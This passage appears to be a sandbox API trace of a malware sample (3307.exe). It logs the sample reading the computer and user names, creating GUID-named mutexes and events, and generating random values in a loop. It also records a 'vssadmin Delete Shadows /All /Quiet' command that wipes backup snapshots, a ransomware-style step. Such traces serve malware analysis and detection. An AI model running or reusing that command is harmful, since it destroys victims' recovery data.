(lpFileName="C:\\Users\\5P5NRG~1\\Desktop\\3307.exe" (normalized: "c:\\users\\5p5nrg~1\\desktop\\3307.exe")) returned 1 [0026.667] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.667] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.667] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.667] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.667] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.667] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x100) returned 0x509e98 [0026.667] GetEnvironmentVariableW (in: lpName="COMPUTERNAME", lpBuffer=0x509e98, nSize=0x40 | out: lpBuffer="XDUWTFONO") returned 0x9 [0026.667] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509e98) returned 1 [0026.667] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.667] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0026.667] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x508ef8 [0026.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x508ef8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO", lpUsedDefaultChar=0x0) returned 9 [0026.667] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x508f40 [0026.667] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x508ef8) returned 1 [0026.667] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.667] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x508ef8 [0026.667] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x508f88 [0026.667] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x508fd0 [0026.667] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509018 [0026.667] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509060 [0026.667] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.667] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x100) returned 0x509e98 [0026.667] GetEnvironmentVariableW (in: lpName="USERNAME", lpBuffer=0x509e98, nSize=0x40 | out: lpBuffer="5p5NrGJn0jS HALPmcxz") returned 0x14 [0026.667] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509e98) returned 1 [0026.667] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.667] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="5p5NrGJn0jS HALPmcxz", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0026.668] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5090a8 [0026.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="5p5NrGJn0jS HALPmcxz", cchWideChar=20, lpMultiByteStr=0x5090a8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 20 [0026.668] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5090f0 [0026.668] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5090a8) returned 1 [0026.668] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.668] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5090f0) returned 1 [0026.668] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5090f0 [0026.668] CryptAcquireContextW (in: phProv=0x34f4b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x34f4b0*=0x663d00) returned 1 [0026.669] CryptCreateHash (in: hProv=0x663d00, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x34f4b0 | out: phHash=0x34f4b0) returned 1 [0026.669] CryptHashData (hHash=0x652a08, pbData=0x508f88, dwDataLen=0x20, dwFlags=0x0) returned 1 [0026.669] CryptGetHashParam (in: hHash=0x652a08, dwParam=0x4, pbData=0x34f4b4, pdwDataLen=0x34f4c0, dwFlags=0x0 | out: pbData=0x34f4b4, pdwDataLen=0x34f4c0) returned 1 [0026.669] CryptGetHashParam (in: hHash=0x652a08, dwParam=0x2, pbData=0x5090f0, pdwDataLen=0x34f4b4, dwFlags=0x0 | out: pbData=0x5090f0, pdwDataLen=0x34f4b4) returned 1 [0026.669] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5090a8 [0026.669] CryptDestroyHash (hHash=0x652a08) returned 1 [0026.669] CryptReleaseContext (hProv=0x663d00, dwFlags=0x0) returned 1 [0026.669] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5090f0) returned 1 [0026.669] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5090f0 [0026.669] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509138 [0026.669] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5090f0) returned 1 [0026.669] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5090f0 [0026.669] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5090f0) returned 1 [0026.669] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509138) returned 1 [0026.669] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5090a8) returned 1 [0026.669] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5090a8 [0026.669] OpenEventA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="{DB697C21-3780-0C33-4345-2F1B4C2F2F3D}") returned 0x0 [0026.669] GetLastError () returned 0x2 [0026.669] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x5000) returned 0x502850 [0026.669] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509138 [0026.669] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509138) returned 1 [0026.670] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0026.670] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x502850) returned 1 [0026.670] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x6488b8, lpbSaclPresent=0x34f478, pSacl=0x34f4cc, lpbSaclDefaulted=0x34f478 | out: lpbSaclPresent=0x34f478, pSacl=0x34f4cc, lpbSaclDefaulted=0x34f478) returned 1 [0026.670] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509138 [0026.670] CreateEventA (lpEventAttributes=0x34f4c0, bManualReset=1, bInitialState=0, lpName="{DB697C21-3780-0C33-4345-2F1B4C2F2F3D}") returned 0xf8 [0026.670] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509138) returned 1 [0026.670] GetLastError () returned 0x0 [0026.671] SetSecurityInfo () returned 0x0 [0026.910] LocalFree (hMem=0x6488b8) returned 0x0 [0026.910] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509138 [0026.910] CryptAcquireContextW (in: phProv=0x34f4b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x34f4b0*=0x663dd8) returned 1 [0026.911] CryptCreateHash (in: hProv=0x663dd8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x34f4b0 | out: phHash=0x34f4b0) returned 1 [0026.911] CryptHashData (hHash=0x652a08, pbData=0x508f88, dwDataLen=0xb, dwFlags=0x0) returned 1 [0026.911] CryptGetHashParam (in: hHash=0x652a08, dwParam=0x4, pbData=0x34f4b4, pdwDataLen=0x34f4c0, dwFlags=0x0 | out: pbData=0x34f4b4, pdwDataLen=0x34f4c0) returned 1 [0026.911] CryptGetHashParam (in: hHash=0x652a08, dwParam=0x2, pbData=0x509138, pdwDataLen=0x34f4b4, dwFlags=0x0 | out: pbData=0x509138, pdwDataLen=0x34f4b4) returned 1 [0026.911] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5090f0 [0026.911] CryptDestroyHash (hHash=0x652a08) returned 1 [0026.911] CryptReleaseContext (hProv=0x663dd8, dwFlags=0x0) returned 1 [0026.911] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509138) returned 1 [0026.911] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509138 [0026.911] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509180 [0026.911] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509138) returned 1 [0026.911] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509138 [0026.911] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509138) returned 1 [0026.911] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509180) returned 1 [0026.911] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5090f0) returned 1 [0026.911] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5090f0 [0026.911] OpenEventA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{92EAD6E2-16CB-825D-3763-CAC9D6ED414E}") returned 0x0 [0026.912] GetLastError () returned 0x2 [0026.912] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x5000) returned 0x502850 [0026.912] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509180 [0026.912] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509180) returned 1 [0026.912] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0026.912] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x502850) returned 1 [0026.912] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x6488b8, lpbSaclPresent=0x34f478, pSacl=0x34f4cc, lpbSaclDefaulted=0x34f478 | out: lpbSaclPresent=0x34f478, pSacl=0x34f4cc, lpbSaclDefaulted=0x34f478) returned 1 [0026.912] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509180 [0026.912] CreateEventA (lpEventAttributes=0x34f4c0, bManualReset=1, bInitialState=0, lpName="Global\\{92EAD6E2-16CB-825D-3763-CAC9D6ED414E}") returned 0x110 [0026.913] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509180) returned 1 [0026.913] GetLastError () returned 0x0 [0026.913] SetSecurityInfo () returned 0x0 [0026.913] LocalFree (hMem=0x6488b8) returned 0x0 [0026.913] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509180 [0026.913] CryptAcquireContextW (in: phProv=0x34f4b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x34f4b0*=0x663dd8) returned 1 [0026.913] CryptCreateHash (in: hProv=0x663dd8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x34f4b0 | out: phHash=0x34f4b0) returned 1 [0026.913] CryptHashData (hHash=0x652a08, pbData=0x508f88, dwDataLen=0xb, dwFlags=0x0) returned 1 [0026.913] CryptGetHashParam (in: hHash=0x652a08, dwParam=0x4, pbData=0x34f4b4, pdwDataLen=0x34f4c0, dwFlags=0x0 | out: pbData=0x34f4b4, pdwDataLen=0x34f4c0) returned 1 [0026.913] CryptGetHashParam (in: hHash=0x652a08, dwParam=0x2, pbData=0x509180, pdwDataLen=0x34f4b4, dwFlags=0x0 | out: pbData=0x509180, pdwDataLen=0x34f4b4) returned 1 [0026.914] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509138 [0026.914] CryptDestroyHash (hHash=0x652a08) returned 1 [0026.914] CryptReleaseContext (hProv=0x663dd8, dwFlags=0x0) returned 1 [0026.914] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509180) returned 1 [0026.914] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509180 [0026.914] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5091c8 [0026.914] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509180) returned 1 [0026.914] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509180 [0026.914] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509180) returned 1 [0026.914] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5091c8) returned 1 [0026.914] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509138) returned 1 [0026.914] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509138 [0026.914] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5091c8 [0026.914] OpenMutexA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0026.914] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5091c8) returned 1 [0026.914] GetLastError () returned 0x2 [0026.914] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x5000) returned 0x502850 [0026.914] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5091c8 [0026.914] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5091c8) returned 1 [0026.914] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0026.915] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x502850) returned 1 [0026.915] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x6488b8, lpbSaclPresent=0x34f474, pSacl=0x34f4cc, lpbSaclDefaulted=0x34f474 | out: lpbSaclPresent=0x34f474, pSacl=0x34f4cc, lpbSaclDefaulted=0x34f474) returned 1 [0026.915] CreateMutexA (lpMutexAttributes=0x34f4c0, bInitialOwner=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x13c [0026.915] GetLastError () returned 0x0 [0026.915] SetSecurityInfo () returned 0x0 [0026.915] LocalFree (hMem=0x6488b8) returned 0x0 [0026.915] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0x64) returned 0x0 [0026.915] ReleaseMutex (hMutex=0x13c) returned 1 [0026.915] SetEvent (hEvent=0xf8) returned 1 [0026.916] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x100) returned 0x509e98 [0026.917] GetSystemDirectoryW (in: lpBuffer=0x509e98, uSize=0x40 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0026.917] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509e98) returned 1 [0026.917] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.917] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.917] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee9d8 [0026.917] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x5000) returned 0x502850 [0026.917] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5091c8 [0026.917] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5091c8) returned 1 [0026.917] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x502850) returned 1 [0026.917] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x5000) returned 0x502850 [0026.917] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5091c8 [0026.917] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5091c8) returned 1 [0026.917] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x502850) returned 1 [0026.917] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3eea60 [0026.917] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="C:\\Windows\\system32\\vssadmin.exe Delete Shadows /All /Quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x34f448*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x34f438 | out: lpCommandLine="C:\\Windows\\system32\\vssadmin.exe Delete Shadows /All /Quiet", lpProcessInformation=0x34f438*(hProcess=0x144, hThread=0x140, dwProcessId=0x960, dwThreadId=0x964)) returned 1 [0027.026] NtClose (Handle=0x140) returned 0x0 [0027.026] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eea60) returned 1 [0027.026] NtClose (Handle=0x144) returned 0x0 [0027.026] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3eea60 [0027.026] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x400) returned 0x502850 [0027.026] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x400) returned 0x502c58 [0027.026] GetEnvironmentVariableW (in: lpName="TEMP", lpBuffer=0x502850, nSize=0x100 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x24 [0027.026] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpszShortPath=0x502c58, cchBuffer=0x100 | out: lpszShortPath="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x24 [0027.026] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x502c58) returned 1 [0027.026] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x502850) returned 1 [0027.026] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eea60) returned 1 [0027.026] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3eea60 [0027.026] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x400) returned 0x502850 [0027.026] CryptAcquireContextW (in: phProv=0x34f414, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x34f414*=0x663dd8) returned 1 [0027.027] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x184) returned 0x502c58 [0027.027] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5091c8 [0027.027] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509180 [0027.027] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509210 [0027.027] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509258 [0027.027] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5092a0 [0027.027] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5092e8 [0027.027] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509330 [0027.027] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509378 [0027.028] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5093c0 [0027.028] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509408 [0027.028] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509450 [0027.028] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509498 [0027.028] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5094e0 [0027.028] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509528 [0027.028] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509570 [0027.028] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5095b8 [0027.028] CryptGenRandom (in: hProv=0x663dd8, dwLen=0x4, pbBuffer=0x34f428 | out: pbBuffer=0x34f428) returned 1 [0027.028] CryptReleaseContext (hProv=0x663dd8, dwFlags=0x0) returned 1 [0027.028] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3eeae8 [0027.028] CryptAcquireContextW (in: phProv=0x34f410, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x34f410*=0x663dd8) returned 1 [0027.029] CryptGenRandom (in: hProv=0x663dd8, dwLen=0x4, pbBuffer=0x34f424 | out: pbBuffer=0x34f424) returned 1 [0027.029] CryptReleaseContext (hProv=0x663dd8, dwFlags=0x0) returned 1 [0027.029] CryptAcquireContextW (in: phProv=0x34f410, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x34f410*=0x663dd8) returned 1 [0027.029] CryptGenRandom (in: hProv=0x663dd8, dwLen=0x4, pbBuffer=0x34f424 | out: pbBuffer=0x34f424) returned 1 [0027.029] CryptReleaseContext (hProv=0x663dd8, dwFlags=0x0) returned 1 [0027.029] CryptAcquireContextW (in: phProv=0x34f410, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x34f410*=0x663dd8) returned 1 [0027.030] CryptGenRandom (in: hProv=0x663dd8, dwLen=0x4, pbBuffer=0x34f424 | out: pbBuffer=0x34f424) returned 1 [0027.030] CryptReleaseContext (hProv=0x663dd8, dwFlags=0x0) returned 1 [0027.030] CryptAcquireContextW (in: phProv=0x34f410, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x34f410*=0x663dd8) returned 1 [0027.031] CryptGenRandom (in: hProv=0x663dd8, dwLen=0x4, pbBuffer=0x34f424 | out: pbBuffer=0x34f424) returned 1 [0027.031] CryptReleaseContext (hProv=0x663dd8, dwFlags=0x0) returned 1 [0027.031] CryptAcquireContextW (in: phProv=0x34f410, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x34f410*=0x663dd8) returned 1 [0027.032] CryptGenRandom (in: hProv=0x663dd8, dwLen=0x4, pbBuffer=0x34f424 | out: pbBuffer=0x34f424) returned 1 [0027.032] CryptReleaseContext (hProv=0x663dd8, dwFlags=0x0) returned 1 [0027.032] CryptAcquireContextW (in: phProv=0x34f410, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x34f410*=0x663dd8) returned 1 [0027.033] CryptGenRandom (in: hProv=0x663dd8, dwLen=0x4, pbBuffer=0x34f424 | out: pbBuffer=0x34f424) returned 1 [0027.033] CryptReleaseContext (hProv=0x663dd8, dwFlags=0x0) returned 1 [0027.033] CryptAcquireContextW (in: phProv=0x34f410, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x34f410*=0x663dd8) returned 1 [0027.033] CryptGenRandom (in: hProv=0x663dd8, dwLen=0x4, pbBuffer=0x34f424 | out: pbBuffer=0x34f424) returned 1 [0027.033] CryptReleaseContext (hProv=0x663dd8, dwFlags=0x0) returned 1 [0027.034] CryptAcquireContextW (in: phProv=0x34f410, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x34f410*=0x663dd8) returned 1 [0027.034] CryptGenRandom (in: hProv=0x663dd8, dwLen=0x4, pbBuffer=0x34f424 | out: pbBuffer=0x34f424) returned 1 [0027.034] CryptReleaseContext (hProv=0x663dd8, dwFlags=0x0) returned 1 [0027.034] CryptAcquireContextW (in: phProv=0x34f410, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x34f410*=0x663dd8) returned 1 [0027.035] CryptGenRandom (in: hProv=0x663dd8, dwLen=0x4, pbBuffer=0x34f424 | out: pbBuffer=0x34f424) returned 1 [0027.035] CryptReleaseContext (hProv=0x663dd8, dwFlags=0x0) returned 1 [0027.035] CryptAcquireContextW (in: phProv=0x34f410, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x34f410*=0x663dd8) returned 1 [0027.036] CryptGenRandom (in: hProv=0x663dd8, dwLen=0x4, pbBuffer=0x34f424 | out: pbBuffer=0x34f424) returned 1 [0027.036] CryptReleaseContext (hProv=0x663dd8, dwFlags=0x0) returned 1 [0027.036] CryptAcquireContextW (in: phProv=0x34f410, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x34f410*=0x663dd8) returned 1 [0027.036] CryptGenRandom (in: hProv=0x663dd8, dwLen=0x4, pbBuffer=0x34f424 | out: pbBuffer=0x34f424) returned 1 [0027.036] CryptReleaseContext (hProv=0x663dd8, dwFlags=0x0) returned 1 [0027.036] CryptAcquireContextW (in: phProv=0x34f410, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x34f410*=0x663dd8) returned 1 [0027.037] CryptGenRandom (in: hProv=0x663dd8, dwLen=0x4, pbBuffer=0x34f424 | out: pbBuffer=0x34f424) returned 1 [0027.037] CryptReleaseContext (hProv=0x663dd8, dwFlags=0x0) returned 1 [0027.037] CryptAcquireContextW (in: phProv=0x34f410, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x34f410*=0x663dd8) returned 1 [0027.038] CryptGenRandom (in: hProv=0x663dd8, dwLen=0x4, pbBuffer=0x34f424 | out: pbBuffer=0x34f424) returned 1 [0027.038] CryptReleaseContext (hProv=0x663dd8, dwFlags=0x0) returned 1 [0027.038] GetTempFileNameW (in: lpPathName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\", lpPrefixString="Tor", uUnique=0x0, lpTempFileName=0x502850 | out: lpTempFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\Tor781B.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\tor781b.tmp")) returned 0x781b [0027.039] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eeae8) returned 1 [0027.039] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x400) returned 0x502de8 [0027.039] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\Tor781B.tmp", lpszShortPath=0x502de8, cchBuffer=0x100 | out: lpszShortPath="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\Tor781B.tmp") returned 0x30 [0027.039] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x502850) returned 1 [0027.039] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eea60) returned 1 [0027.039] RtlAllocateHeap 